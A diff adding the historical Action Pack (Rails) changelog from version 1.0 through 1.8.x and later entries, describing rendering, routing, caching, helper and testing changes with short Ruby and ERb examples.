+* render(:action), render(:template) and render() are the only three calls that default to using a layout. All other render calls assume :layout => false. This also fixes send_file, which was applying a layout if one existed for the current action.
+
+* verify with :redirect_to won't redirect if a redirect or render has already been performed #1350
+
+* render(:partial => true) is identical to the behavior of the deprecated render_partial()
+
+* Fixed render(:partial => "...") to use an empty Hash for the local assigns #1365
+
+* Fixed Caching::Fragments::FileStore.delete to not raise an exception if the delete fails.
+
+* Deprecated all render_* methods in favor of consolidating all rendering behavior in Base#render(options). This enables more natural use of combining options, such as layouts. Examples:
+
+    +---------------------------------------------------------------+-------------------------------------------------------+
+    | BEFORE                                                        | AFTER                                                 |
+    +---------------------------------------------------------------+-------------------------------------------------------+
+    | render_with_layout "weblog/show", "200 OK", "layouts/dialog"  | render :action => "show", :layout => "dialog"         |
+    | render_without_layout "weblog/show"                           | render :action => "show", :layout => false            |
+    | render_action "error", "404 Not Found"                        | render :action => "error", :status => "404 Not Found" |
+    | render_template "xml.div('stuff')", "200 OK", :rxml           | render :inline => "xml.div('stuff')", :type => :rxml  |
+    | render_text "hello world!"                                    | render :text => "hello world!"                        |
+    | render_partial_collection "person", @people, nil, :a => 1     | render :partial => "person", :collection => @people,  |
+    |                                                               |        :locals => { :a => 1 }                         |
+    +---------------------------------------------------------------+-------------------------------------------------------+      
+
+* Deprecated redirect_to_path and redirect_to_url in favor of letting redirect_to do the right thing when passed either a path or url.
+
+* Fixed use of an integer as return code for renders, so render_text "hello world", 404 now works #1327
+
+* Fixed assert_redirect_to to work with redirect_to_path #869 [Nicholas Seckar]
+
+* Fixed escaping of :method option in remote_form_tag #1218 [Rick Olson]
+
+* Added Serbia and Montenegro to the country_select #1239 [todd at robotcoop.com]
+
+* Fixed Request#remote_ip in testing #1251 [Jeremy Kemper]
+
+* Fixed that compute_public_path should recognize external URLs, so image_tag("http://www.example.com/images/icon.gif") is not prefixed with the relative url path #1254 [victor-ronr-trac at carotena.net]
+
+* Added support for descending year values in DateHelper#select_year, like select_year(Date.today, :start_year => 2005, :end_year => 1900), which would count down from 2005 to 1900 instead of the other way #1274 [nwoods at mail.com]
+
+* Fixed that FormHelper#checkbox should return a checked checkbox if the value is the same as checked_value #1286 [Florian Weber]
+
+* Fixed Form.disable in Prototype #1317 [Wintermute]
+
+* Added accessors to logger, params, response, session, flash, and headers from the view, so you can write <% logger.info "stuff" %> instead of <% @logger.info "others" %> -- more consistent with the preferred way of accessing these attributes and collections from the controller
+
+* Added support for POST data in form of YAML or XML, which is controller through the Content-Type header. Example request:
+
+    Content-Type: application/xml
+    <request><item><content>HelloWorld</content></item></request>
+  
+  ...is the same as:
+
+    Content-Type: application/x-yaml
+    ---
+    item:
+      content: HelloWorld
+
+  ...is the same as:
+  
+    item[content]=HelloWorld
+  
+  Which in the end turns into { "item" => { "content" => "HelloWorld" } }. This makes it a lot easier to publish REST web services on top of your regular actions (as they won't care).
+  
+  Example Curl call:
+
+    curl -H 'Content-Type: application/xml' -d '<request><item><content>KillMeMore</content></item></request>' http://www.example.com/service
+
+  You can query to find out whether a given request came through as one of these types with:
+    - request.post_format? (:url_encoded, :xml or :yaml)
+    - request.formatted_post? (for either xml or yaml)
+    - request.xml_post?
+    - request.yaml_post?
+
+* Added bundling of XmlSimple by Maik Schmidt
+
+* Fixed that render_partial_collection should always return a string (and not sometimes an array, despite <%= %> not caring)
+
+* Added TextHelper#sanitize that can will remove any Javascript handlers, blocks, and forms from an input of HTML.  This allows for use of HTML on public sites, but still be free of XSS issues. #1277 [Jamis Buck]
+
+* Fixed the HTML scanner used by assert_tag where a infinite loop could be caused by a stray less-than sign in the input #1270 [Jamis Buck]
+
+* Added functionality to assert_tag, so you can now do tests on the siblings of a node, to assert that some element comes before or after the element in question, or just to assert that some element exists as a sibling #1226 [Jamis Buck]
+
+* Added better error handling for regexp caching expiration
+
+* Fixed handling of requests coming from unknown HTTP methods not to kill the server
+
+* Added that both AssetHelper#stylesheet_link_tag and AssetHelper#javascript_include_tag now accept an option hash as the last parameter, so you can do stuff like: stylesheet_link_tag "style", :media => "all"
+
+* Added FormTagHelper#image_submit_tag for making submit buttons that uses images
+
+* Added ActionController::Base.asset_host that will then be used by all the asset helpers. This enables you to easily offload static content like javascripts and images to a separate server tuned just for that.
+
+* Fixed action/fragment caching using the filestore when a directory and a file wanted to use the same name. Now there's a .cache prefix that sidesteps the conflict #1188 [imbcmdth at hotmail.com]
+
+* Fixed missing id uniqueness in FormTag#radio_button #1207 [Jarkko]
+
+* Fixed assert_redirected_to to work with :only_path => false #1204 [Alisdair McDiarmid]
+
+* Fixed render_partial_collection to output an empty string instead of nil when handed an empty array #1202 [Ryan Carver]
+
+* Improved the speed of regular expression expirations for caching by a factor of 10 #1221 [Jamis Buck]
+
+* Removed dumping of template assigns on the rescue page as it would very easily include a ton of data making page loads take seconds (and the information was rarely helpful) #1222
+
+* Added BenchmarkHelper that can measure the execution time of a block in a template and reports the result to the log. Example:
+  
+    <% benchmark "Notes section" do %>
+      <%= expensive_notes_operation %>
+    <% end %>
+  
+   Will add something like "Notes section (0.345234)" to the log.
+
+* Added ActionController::Caching::Sweeper as an improved an easier to use sweeper. The new sweepers work on a single-step approach instead of two-steps like the old ones. Before
+
+    def after_save(record)
+      @list = record.is_a?(List) ? record : record.list
+    end
+    
+    def filter(controller)
+      controller.expire_page(:controller => "lists", :action => %w( show public feed ), :id => @list.id)
+      controller.expire_action(:controller => "lists", :action => "all")
+      @list.shares.each { |share| controller.expire_page(:controller => "lists", :action => "show", :id => share.url_key) }
+    end
+
+  ..after:
+
+    def after_save(record)
+      list = record.is_a?(List) ? record : record.list
+      expire_page(:controller => "lists", :action => %w( show public feed ), :id => list.id)
+      expire_action(:controller => "lists", :action => "all")
+      list.shares.each { |share| expire_page(:controller => "lists", :action => "show", :id => share.url_key) }
+    end
+
+  The new sweepers can also observe on the actions themselves by implementing methods according to (before|after)_$controller_$action. Example of a callback that'll be called after PagesController#update_title has been performed:
+  
+      def after_pages_update_title
+        expire_fragment(%r{pages/#{controller.assigns["page"].id}/.*})
+      end
+
+  Note that missing_method is delegated to the controller instance, which is assigned in a before filter. This means that you can call expire_fragment instead of @controller.expire_fragment.
+
+* Added that Fragments#expire_fragment now accepts as a regular expression as the name thereby deprecating expire_matched_fragments
+
+* Fixed that fragments shouldn't use the current host and the path as part of the key like pages does
+
+* Added conditions to around_filters just like before_filter and after_filter
+
+
+*1.8.1* (20th April, 2005)
+
+* Added xml_http_request/xhr method for simulating XMLHttpRequest in functional tests #1151 [Sam Stephenson]. Example:
+
+    xhr :post, :index
+
+* Fixed that Ajax.Base.options.asynchronous wasn't being respected in Ajax.Request (thanks Jon Casey)
+
+* Fixed that :get, :post, and the others should take a flash array as the third argument just like process #1144 [rails at cogentdude.com]
+
+* Fixed a problem with Flash.now
+
+* Fixed stringification on all assigned hashes. The sacrifice is that assigns[:person] won't work in testing. Instead assigns["person"] or assigns(:person) must be used. In other words, the keys of assigns stay strings but we've added a method-based accessor to appease the need for symbols.
+
+* Fixed that rendering a template would require a connection to the database #1146
+
+
+*1.8.0* (19th April, 2005)
+
+* Added assert_tag and assert_no_tag as a much improved alternative to the deprecated assert_template_xpath_match #1126 [Jamis Buck]
+
+* Deprecated the majority of all the testing assertions and replaced them with a much smaller core and access to all the collections the old assertions relied on. That way the regular test/unit assertions can be used against these. Added documentation about how to use it all.
+
+* Added a wide range of new Javascript effects:
+    * Effect.Puff zooms the element out and makes it smoothly transparent at the same time, giving a "puff" illusion #996 [thomas at fesch.at]
+      After the animation is completed, the display property will be set to none. 
+      This effect will work on relative and absolute positioned elements.
+      
+    * Effect.Appear as the opposite of Effect.Fade #990 [thomas at fesch.at]
+      You should return elements with style="display:none;" or a like class for this to work best and have no chance of flicker.
+      
+    * Effect.Squish for scaling down an element and making it disappear at the end #972 [thomas at fesch.at]
+    
+    * Effect.Scale for smoothly scaling images or text up and down #972 [thomas at fesch.at]
+    
+    * Effect.Fade which smoothly turns opacity from 100 to 0 and then hides the element #960 [thomas at fesch.at]
+
+* Added Request#xml_http_request? (and an alias xhr?) to that'll return true when the request came from one of the Javascript helper methods (Ajax). This can be used to give one behavior for modern browsers supporting Ajax, another to old browsers #1127 [Sam Stephenson]
+
+* Changed render_partial to take local assigns as the second parameter instead of an explicit object and then the assigns. So the API changes from:
+
+    <%= render_partial "account", person, "rules" => regulations.rules %>
+    
+  ...to:
+  
+    <%= render_partial "account", :account => person, :rules => regulations.rules %>
+  
+  The old API will still work, though, and render_partial "account" will still assume :account => @account.
+
+* Added support for web servers that use PATH_INFO instead of REQUEST_URI like IIS #1014 [BradG/Nicholas Seckar]
+
+* Added graceful handling of PUT, DELETE, and OPTIONS requests for a complete coverage of REST functionality #1136 [joshknowles at gmail.com]
+
+* Fixed that you can now pass an alternative :href option to link_to_function/remote in order to point to somewhere other than # if the javascript fails or is turned off. You can do the same with form_remote_tag by passing in :action. #1113 [Sam Stephenson]
+
+* Fixed DateHelper to return values on the option tags such that they'll work properly in IE with form_remote_tag #1024 [Scott Raymond]
+
+* Fixed FormTagHelper#check_box to respect checked #1049 [DelynnB]
+
+* Added that render_partial called from a controller will use the action name as default #828 [Dan Peterson]
+
+* Added Element.toggle, Element.show, and Element.hide to the prototype javascript library. Toggle.display has been deprecated, but will still work #992 [Lucas Carlson]
+
+* Added that deleting a cookie should not just set it to an empty string but also instantly expire it #1118 [todd at robotcoop.com]
+
+* Added AssetTagHelper#image_path, AssetTagHelper#javascript_path, and AssetTagHelper#stylesheet_path #1110 [Larry Halff]
+
+* Fixed url_for(nil) in functional tests #1116 [Alisdair McDiarmid]
+
+* Fixed error handling of broken layouts #1115 [Michael Schubert]
+
+* Added submit_to_remote that allows you to trigger an Ajax form submition at the click of the submission button, which allows for multiple targets in a single form through the use of multiple submit buttons #930 [yrashk at gmail.com]
+
+* Fixed pagination to work with joins #1034 [scott at sigkill.org]
+
+* Fixed that *rest parameter in map.connect couldn't accept an empty list #1037 [Dee.Zsombor at gmail.com]
+
+* Added :confirm option to link_to_remote just like link_to has #1082 [yrashk at fp.org.ua]
+
+* Added minute_step as an option to select_minute (and the helpers that use it) to jump in larger increments than just 1 minute. At 15, it would return 0, 15, 30, 45 options #1085 [ordwaye at evergreen.edu]
+
+* Fixed that an exception would be thrown when an empty form was submitted #1090 [jan at ulbrich-boerwang.de]
+
+* Moved TextHelper#human_size to NumberHelper#number_to_human_size, but kept an deprecated alias to the old method name
+
+* Fixed that the content-type for some browsers could include an additional \r which made wonky things happen #1067 [Thomas Fuchs]
+
+* Fixed that radio buttons shouldn't have a default size attribute #1074 [hendrik at mans.de]
+
+* Added ActionView::Helpers::InstanceTag::DEFAULT_RADIO_OPTIONS that contains a hash of default options for radio buttons #1074 [hendrik at mans.de]
+
+* Fixed that in some circumstances controllers outside of modules may have hidden ones inside modules. For example, admin/content might have been hidden by /content. #1075 [Nicholas Seckar]
+
+* Added JavascriptHelper#periodically_call_remote in order to create areas of a page that update automatically at a set interval #945 [Jon Tirsen]
+
+* Fixed Cache#expire_matched_fragments that couldn't recognize the difference between string and url_for options #1030 [skaes at web.de]
+
+* Added simulation of @request.request_uri in functional tests #1038 [Jamis Buck]
+
+* Fixed autolinking to work better in more cases #1013 [Jamis Buck]
+
+* Added the possible of using symbols in form helpers that relate to instance variables like text_field :account, :name in addition to text_field "account", "name"'
+
+* Fixed javascript_include_tag to output type instead of language and conform to XHTML #1018 [Rick Olson]
+
+* Added NumberHelper for common string representations like phone number, currency, and percentage #1015 [DeLynn]
+
+* Added pagination for scaffolding (10 items per page) #964 [mortonda at dgrmm.net]
+
+* Added assert_no_cookie and fixed assert_cookie_equal to deal with non-existing cookies #979 [Jeremy Kemper]
+
+* Fixed :overwrite_param so it doesn't delete but reject elements from @request.parameters #982 [raphinou at yahoo.com]
+
+* Added :method option to verify for ensuring that either GET, POST, etc is allowed #984 [Jamis Buck]
+
+* Added options to set cc, bcc, subject, and body for UrlHelper#mail_to #966 [DeLynn]
+
+* Fixed include_blank for select_hour/minute/second #527 [edward at debian.org]
+
+* Improved the message display on the exception handler pages #963 [Johan Sorensen]
+
+* Fixed that on very rare occasions, webrick would raise a NoMethodError: private method 'split' called for nil #1001 [Flurin Egger]
+
+* Fixed problem with page caching #958 [Rick Olson]
+
+
+*1.7.0* (27th March, 2005)
+
+* Added ActionController::Base.page_cache_extension for setting the page cache file extension (the default is .html) #903 [Andreas]
+
+* Fixed "bad environment variable value" exception caused by Safari, Apache, and Ajax calls #918
+
+* Fixed that pagination_helper would ignore :params #947 [Sebastian Kanthak]
+
+* Added :owerwrite_params back to url_for and friends -- it was AWL since the introduction of Routes #921 [raphinou]
+
+* Added :position option to link_to_remote/form_remote_tag that can be either :before, :top, :bottom, or :after and specifies where the return from the method should be inserted #952 [Matthew McCray/Sam Stephenson]
+
+* Added Effect.Highlight to prototype.js to do Yellow Fade Technique (of 37signals' fame) on any container #952 [Sam Stephenson/courtenay]
+
+* Added include_seconds option as the third parameter to distance_of_time_in_words which will render "less than a minute" in higher resolution ("less than 10 seconds" etc) #944 [thomas at fesch.at]
+
+* Added fourth option to process in test cases to specify the content of the flash #949 [Jamis Buck]
+
+* Added Verifications that allows you to specify preconditions to actions in form of statements like <tt>verify :only => :update_post, :params => "admin_privileges", :redirect_to => { :action => "settings" }</tt>, which ensure that the update_post action is only called if admin_privileges is available as a parameter -- otherwise the user is redirected to settings. #897 [Jamis Buck]
+
+* Fixed Form.Serialize for the JavascriptHelper to also seriliaze password fields #934 [dweitzman at gmail.com]
+
+* Added JavascriptHelper#escape_javascript as a public method (was private) and made it escape both single and double quotes and new lines #940 [mortonda at dgrmm.net]
+
+* Added trailing_slash option to url_for, so you can generate urls ending in a slash. Note that is currently not recommended unless you need it for special reasons since it breaks caching #937 [stian at grytoyr.net]
+
+* Added expire_matched_fragments(regular_expression) to clear out a lot of fragment caches at once #927 [technoweenie at gmail.com]
+
+* Fixed the problems with : and ? in file names for fragment caches on Windows #927 [technoweenie at gmail.com]
+
+* Added TextHelper#human_size for formatting file sizes, like human_size(1234567) => 1.2 MB #943 [thomas at fesch.at]
+
+* Fixed link_to :confirm #936 [Nicholas Seckar]
+
+* Improved error reporting especially around never shallowing exceptions. Debugging helpers should be much easier now #980 [Nicholas Seckar]
+
+* Fixed Toggle.display in prototype.js #902 [Lucas Carlson]
+
+
+*1.6.0* (22th March, 2005)
+
+* Added a JavascriptHelper and accompanying prototype.js library that opens the world of Ajax to Action Pack with a large array of options for dynamically interacting with an application without reloading the page #884 [Sam Stephenson/David]
+
+* Added pagination support through both a controller and helper add-on #817 [Sam Stephenson]
+
+* Fixed routing and helpers to make Rails work on non-vhost setups #826 [Nicholas Seckar/Tobias Luetke]
+
+* Added a much improved Flash module that allows for finer-grained control on expiration and allows you to flash the current action #839 [Caio Chassot]. Example of flash.now:
+
+    class SomethingController < ApplicationController
+      def save
+        ...
+        if @something.save
+          # will redirect, use flash
+          flash[:message] = 'Save successful'
+          redirect_to :action => 'list'
+        else
+          # no redirect, message is for current action, use flash.now
+          flash.now[:message] = 'Save failed, review'
+          render_action 'edit'
+        end
+      end    
+    end
+
+* Added to_param call for parameters when composing an url using url_for from something else than strings #812 [Sam Stephenson]. Example:
+
+    class Page
+      def initialize(number)
+        @number = number
+      end
+      # ...
+      def to_param
+        @number.to_s
+      end
+    end
+
+  You can now use instances of Page with url_for:
+
+    class BarController < ApplicationController
+      def baz
+        page = Page.new(4)
+        url = url_for :page => page # => "http://foo/bar/baz?page=4"
+      end
+    end
+
+* Fixed form helpers to query Model#id_before_type_cast instead of Model#id as a temporary workaround for Ruby 1.8.2 warnings #818 [DeLynn B]
+
+* Fixed TextHelper#markdown to use blank? instead of empty? so it can deal with nil strings passed #814 [Johan Sörensen]
+
+* Added TextHelper#simple_format as a non-dependency text presentation helper #814 [Johan Sörensen]
+
+* Added that the html options disabled, readonly, and multiple can all be treated as booleans. So specifying <tt>disabled => :true</tt> will give <tt>disabled="disabled"</tt>. #809 [mindel]
+
+* Added path collection syntax for Routes that will gobble up the rest of the url and pass it on to the controller #830 [rayners]. Example:
+
+    map.connect 'categories/*path_info', :controller => 'categories', :action => 'show'
+
+  A request for /categories/top-level-cat, would give @params[:path_info] with "top-level-cat".
+  A request for /categories/top-level-cat/level-1-cat, would give @params[:path_info] with "top-level-cat/level-1-cat" and so forth.
+  
+  The @params[:path_info] return is really an array, but where to_s has been overwritten to do join("/").
+
+* Fixed options_for_select on selected line issue #624 [Florian Weber]
+
+* Added CaptureHelper with CaptureHelper#capture and CaptureHelper#content_for. See documentation in helper #837 [Tobias Luetke]
+
+* Fixed :anchor use in url_for #821 [Nicholas Seckar]
+
+* Removed the reliance on PATH_INFO as it was causing problems for caching and inhibited the new non-vhost support #822 [Nicholas Seckar]
+
+* Added assigns shortcut for @response.template.assigns to controller test cases [Jeremy Kemper]. Example:
+
+  Before:
+
+    def test_list
+      assert_equal 5, @response.template.assigns['recipes'].size
+      assert_equal 8, @response.template.assigns['categories'].size
+    end
+
+  After:
+
+    def test_list
+      assert_equal 5, assigns(:recipes).size
+      assert_equal 8, assigns(:categories).size
+    end
+
+* Added TagHelper#image_tag and deprecated UrlHelper#link_image_to (recommended approach is to combine image_tag and link_to instead)
+
+* Fixed textilize to be resilient to getting nil parsed (by using Object#blank? instead of String#empty?)
+
+* Fixed that the :multipart option in FormTagHelper#form_tag would be ignored [Yonatan Feldman]
+
+
+*1.5.1* (7th March, 2005)
+
+* Fixed that the routes.rb file wouldn't be found on symlinked setups due to File.expand_path #793 [piotr at t-p-l.com]
+
+* Changed ActiveRecordStore to use Marshal instead of YAML as the latter proved troublesome in persisting circular dependencies. Updating existing applications MUST clear their existing session table from data to start using this updated store #739 [Jamis Buck]
+
+* Added shortcut :id assignment to render_component and friends (before you had to go through :params) #784 [Lucas Carlson]
+
+* Fixed that map.connect should convert arguments to strings #780 [Nicholas Seckar]
+
+* Added UrlHelper#link_to_if/link_to_unless to enable other conditions that just link_to_unless_current #757 [mindel]
+
+* Fixed that single quote was not escaped in a UrlHelper#link_to javascript confirm #549 [Scott Barron]
+
+* Removed the default border on link_image_to (it broke xhtml strict) -- can be specified with :border => 0 #517 [?/caleb]
+
+* Fixed that form helpers would treat string and symbol keys differently in html_options (and possibly create duplicate entries) #112 [Jeremy Kemper]
+
+* Fixed that broken pipe errors (clients disconnecting in mid-request) could bring down a fcgi process
+
+* Added the original exception message to session recall errors (so you can see which class wasnt required)
+
+* Fixed that RAILS_ROOT might not be defined when AP was loaded, so do a late initialization of the ROUTE_FILE #761 [Scott Barron]
+
+* Fix request.path_info and clear up LoadingModule behavior #754 [Nicholas Seckar]
+
+* Fixed caching to be aware of extensions (so you can cache files like api.wsdl or logo.png) #734 [Nicholas Seckar]
+
+* Fixed that Routes would raise NameErrors if a controller component contains characters that are not valid constant names #733 [Nicholas Seckar]
+
+* Added PATH_INFO access from the request that allows urls like the following to be interpreted by rails: http://www.example.com/dispatcher.cgi/controller/action -- that makes it possible to use rails as a CGI under lighttpd and would also allow (for example) Rublog to be ported to rails without breaking existing links to Rublog-powered blogs. #728 [Jamis Buck]
+
+* Fixed that caching the root would result in .html not index.html #731, #734 [alisdair/Nicholas Seckar]
+
+
+*1.5.0* (24th February, 2005)
+
+* Added Routing as a replacement for mod_rewrite pretty urls [Nicholas Seckar]. Read more in ActionController::Base.url_for and on http://manuals.rubyonrails.com/read/book/9
+
+* Added components that allows you to call other actions for their rendered response while execution another action. You can either delegate the entire response rendering or you can mix a partial response in with your other content. Read more on http://manuals.rubyonrails.com/read/book/14
+
+* Fixed that proxy IPs do not follow all RFC1918 nets #251 [caleb at aei-tech.com]
+
+* Added Base#render_to_string to parse a template and get the result back as a string #479
+
+* Fixed that send_file/data can work even if render* has been called before in action processing to render the content of a file to be send for example #601
+
+* Added FormOptionsHelper#time_zone_select and FormOptionsHelper#time_zone_options_for_select to work with the new value object TimeZone in Active Support #688 [Jamis Buck]
+
+* Added FormHelper#file_field and FormTagHelper#file_field_tag for creating file upload fields
+
+* Added :order option for date_select that allows control over the order in which the date dropdowns is used and which of them should be used #619 [Tim Bates]. Examples:
+
+    date_select("post", "written_on", :order => [:day, :month, :year])
+    date_select("user", "birthday",   :order => [:month, :day])
+
+* Added ActionView::Base.register_template_handler for easy integration of an alternative template language to ERb and Builder. See test/controller/custom_handler_test.rb for a usage example #656 [Jamis Buck]
+
+* Added AssetTagHelper that provides methods for linking a HTML page together with other assets, such as javascripts, stylesheets, and feeds.
+
+* Added FormTagHelper that provides a number of methods for creating form tags that doesn't rely on conventions with an object assigned to the template like FormHelper does. With the FormTagHelper, you provide the names and values yourself.
+
+* Added Afghanistan, Iran, and Iraq to the countries list used by FormOptions#country_select and FormOptions#country_options_for_select
+
+* Renamed link_to_image to link_image_to (since thats what it actually does) -- kept alias for the old method name
+
+* Fixed textilize for RedCloth3 to keep doing hardbreaks
+
+* Fixed that assert_template_xpath_matches did not indicate when a path was not found #658 [Eric Hodel]
+
+* Added TextHelper#auto_link to turn email addresses and urls into ahrefs
+
+* Fixed that on validation errors, scaffold couldn't find template #654 [mindel]
+
+* Added Base#hide_action(*names) to hide public methods from a controller that would otherwise have been callable through the URL. For the majority of cases, its preferred just to make the methods you don't want to expose protected or private (so they'll automatically be hidden) -- but if you must have a public method, this is a way to make it uncallable. Base#hidden_actions retrieve the list of all hidden actions for the controller #644 [Nicholas Seckar]
+
+* Fixed that a bunch of methods from ActionController::Base was accessible as actions (callable through a URL) when they shouldn't have been #644 [Nicholas Seckar]
+
+* Added UrlHelper#current_page?(options) method to check if the url_for options passed corresponds to the current page
+
+* Fixed https handling on other ports than 443 [Alan Gano]
+
+* Added follow_redirect method for functional tests that'll get-request the redirect that was made. Example:
+
+    def test_create_post
+      post :create, "post" => { "title" => "Exciting!" }
+      assert_redirected_to :action => "show"
+      
+      follow_redirect
+      assert_rendered_file "post/show"
+    end
+  
+  Limitation: Only works for redirects to other actions within the same controller.
+
+* Fixed double requiring of models with the same name as the controller
+
+* Fixed that query params could be forced to nil on a POST due to the raw post fix #562 [moriq at moriq.com]
+
+* Fixed that cookies shouldn't be frozen in TestRequest #571 [Eric Hodel]
+
+
+*1.4.0* (January 25th, 2005)
+
+* Fixed problems with ActiveRecordStore under the development environment in Rails
+
+* Fixed the ordering of attributes in the xml-decleration of Builder #540 [woeye]
+
+* Added @request.raw_post as a convenience access to @request.env['RAW_POST_DATA'] #534 [Tobias Luetke]
+
+* Added support for automatic id-based indexing for lists of items #532 [dblack]. Example:
+
+    <% @students.each do |@student| %>
+      <%= text_field "student[]", "first_name", :size => "20" %>
+      <%= text_field "student[]", "last_name" %>
+      <%= text_field "student[]", "grade", :size => "5" %>
+    <% end %>
+  
+  ...would produce, for say David Black with id 123 and a grace of C+:
+  
+    <input id="student_123_first_name" name="student[123][first_name]" size="20"     size="30" type="text" value="David" />
+    <input id="student_123_last_name" name="student[123][last_name]" size="30"  type="text" value="Black" />
+    <input id="student_123_grade" name="student[123][grade]" size="5" type="text"  value="C+" />
+
+* Added :application_prefix to url_for and friends that makes it easier to setup Rails in non-vhost environments #516 [Jamis Buck]
+
+* Added :encode option to mail_to that'll allow you to masquarede the email address behind javascript or hex encoding #494 [Lucas Carlson]
+
+* Fixed that the content-header was being set to application/octet_stream instead of application/octet-stream on send_date/file [Alexey]
+
+* Removed the need for passing the binding when using CacheHelper#cache
+
+* Added TestResponse#binary_content that'll return as a string the data sent through send_data/send_file for testing #500 [Alexey]
+
+* Added @request.env['RAW_POST_DATA'] for people who need access to the data before Ruby's CGI has parsed it #505 [Jeremy Kemper]
+
+* Fixed that a default fragment store wan't being set to MemoryStore as intended.
+
+* Fixed that all redirect and render calls now return true, so you can use the pattern of "do and return". Example:
+
+    def show
+      redirect_to(:action => "login") and return unless @person.authenticated?
+      render_text "I won't happen unless the person is authenticated"
+    end
+
+* Added that renders and redirects called in before_filters will have the same effect as returning false: stopping the chain. Example:
+
+    class WeblogController
+      before_filter { |c| c.send(:redirect_to_url("http://www.farfaraway.com")}) }
+      
+      def hello
+        render_text "I will never be called"
+      end
+    end
+
+
+* Added that only one render or redirect can happen per action. The first call wins and subsequent calls are ignored. Example:
+
+    def do_something
+      redirect_to :action => "elsewhere"
+      render_action "overthere"
+    end
+  
+  Only the redirect happens. The rendering call is simply ignored.
+
+
+*1.3.1* (January 18th, 2005)
+
+* Fixed a bug where cookies wouldn't be set if a symbol was used instead of a string as the key
+
+* Added assert_cookie_equal to assert the contents of a named cookie
+
+* Fixed bug in page caching that prevented it from working at all 
+
+
+*1.3.0* (January 17th, 2005)
+
+* Added an extensive caching module that offers three levels of granularity (page, action, fragment) and a variety of stores. 
+  Read more in ActionController::Caching.
+
+* Added the option of passing a block to ActiveRecordHelper#form in order to add more to the auto-generated form #469 [dom at sisna.com]
+
+    form("entry", :action => "sign") do |form|
+      form << content_tag("b", "Department")
+      form << collection_select("department", "id", @departments, "id", "name")
+    end
+
+* Added arrays as a value option for params in url_for and friends #467 [Eric Anderson]. Example:
+
+    url_for(:controller => 'user', :action => 'delete', :params => { 'username' =>  %( paul john steve ) } )
+    # => /user/delete?username[]=paul&username[]=john&username[]=steve
+
+* Fixed that controller tests can now assert on the use of cookies #466 [Alexey]
+
+* Fixed that send_file would "remember" all the files sent by adding to the headers again and again #458 [Jeremy Kemper]
+
+* Fixed url rewriter confusion when the controller or action name was a substring of the controller_prefix or action_prefix
+
+* Added conditional layouts like <tt>layout "weblog_standard", :except => :rss</tt> #452 [Marcel Molina]
+
+* Fixed that MemCacheStore wasn't included by default and added default MemCache object pointing to localhost #447 [Lucas Carlson]
+
+* Added fourth argument to render_collection_of_partials that allows you to specify local_assigns -- just like render_partial #432 [zenspider]
+
+* Fixed that host would choke when cgi.host returned nil #432 [Tobias Luetke]
+
+* Added that form helpers now take an index option #448 [Tim Bates]
+
+  Example:
+    text_field "person", "name", "index" => 3
+
+  Becomes:
+    <input type="text" name="person[3][name]" id="person_3_name" value="<%= @person.name %>" />
+
+* Fixed three issues with retrying breakpoints #417 [Florian Gross]
+
+  1. Don't screw up pages that use multiple values for the same parameter (?foo=bar&foo=qux was converted to ?foo=barqux) 
+  2. Don't screw up all forms when you click the "Retry with Breakpoint" link multiple times instead of reloading 
+     (This caused the parameters to be added multiple times for GET forms leading to trouble.) 
+  3. Don't add ?BP-RETRY=1 multiple times
+
+* Added that all renders and redirects now return false, so they can be used as the last line in before_filters to stop execution.
+
+  Before:
+    def authenticate
+      unless @session[:authenticated]
+        redirect_to :controller => "account", :action => "login"
+        return false
+      end
+    end
+  
+  After:
+    def authenticate
+      redirect_to(:controller => "account", :action => "login") unless @session[:authenticated]
+    end
+
+* Added conditional filters #431 [Marcel]. Example:
+
+    class JournalController < ActionController::Base
+      # only require authentication if the current action is edit or delete
+      before_filter :authorize, :only_on => [ :edit, :delete ]
+    
+      private
+        def authorize
+          # redirect to login unless authenticated
+        end
+    end
+
+* Added Base#render_nothing as a cleaner way of doing render_text "" when you're not interested in returning anything but an empty response.
+
+* Added the possibility of passing nil to UrlHelper#link_to to use the link itself as the name
+
+
+*1.2.0* (January 4th, 2005)
+
+* Added MemCacheStore for storing session data in Danga's MemCache system [Bob Cottrell]
+  Depends on: MemCached server (http://www.danga.com/memcached/), MemCache client (http://raa.ruby-lang.org/project/memcache/)
+
+* Added thread-safety to the DRbStore #66, #389 [Ben Stiglitz]
+
+* Added DateHelper#select_time and DateHelper#select_second #373 [Scott Baron]
+
+* Added :host and :protocol options to url_for and friends to redirect to another host and protocol than the current.
+
+* Added class declaration for the MissingFile exception #388 [Kent Sibilev]
+
+* Added "short hypertext note with a hyperlink to the new URI(s)" to redirects to fulfill compliance with RFC 2616 (HTTP/1.1) section 10.3.3 #397 [Tim Bates]
+
+* Added second boolean parameter to Base.redirect_to_url and Response#redirect to control whether the redirect is permanent or not (301 vs 302) #375 [Hodel]
+
+* Fixed redirects when the controller and action is named the same. Still haven't fixed same controller, module, and action, though #201 [Josh]
+
+* Fixed problems with running multiple functional tests in Rails under 1.8.2 by including hack for test/unit weirdness
+
+* Fixed that @request.remote_ip didn't work in the test environment #369 [Bruno Mattarollo]
+
+
+*1.1.0*
+
+* Added search through session to clear out association caches at the end of each request. This makes it possible to place Active Record objects
+  in the session without worrying about stale data in the associations (the main object is still subject to caching, naturally) #347 [Tobias Luetke]
+
+* Added more informative exception when using helper :some_helper and the helper requires another file that fails, you'll get an
+  error message tells you what file actually failed to load, rather than falling back on assuming it was the helper file itself #346 [dblack]
+
+* Added use of *_before_type_cast for all input and text fields. This is helpful for getting "100,000" back on a integer-based 
+  validation where the value would normally be "100".
+
+* Added Request#port_string to get something like ":8080" back on 8080 and "" on 80 (or 443 with https).
+
+* Added Request#domain (returns string) and Request#subdomains (returns array).
+
+* Added POST support for the breakpoint retries, so form processing that raises an exception can be retried with the original request [Florian Gross]
+
+* Fixed regression with Base#reset_session that wouldn't use the DEFAULT_SESSION_OPTIONS [adam at the-kramers.net]
+
+* Fixed error rendering of rxml documents to not just swallow the exception and return 0 (still not guessing the right line, but hey)
+
+* Fixed that textilize and markdown would instantiate their engines even on empty strings. This also fixes #333 [Ulysses]
+
+* Fixed UrlHelper#link_to_unless so it doesn't care if the id is a string or fixnum [zenspider]
+
+
+*1.0.1*
+
+* Fixed a bug that would cause an ApplicationController to require itself three times and hence cause filters to be run three times [evl]
+
+
+*1.0*
+
+* Added that controllers will now attempt to require a model dependency with their name and in a singular attempt for their name.
+  So both PostController and PostsController will automatically have the post.rb model required. If no model is found, no error is raised,
+  as it is then expected that no match is available and the programmer will have included his own models.
+
+* Fixed DateHelper#date_select so that you can pass include_blank as an option even if you don't use start_year and end_year #59 [what-a-day]
+
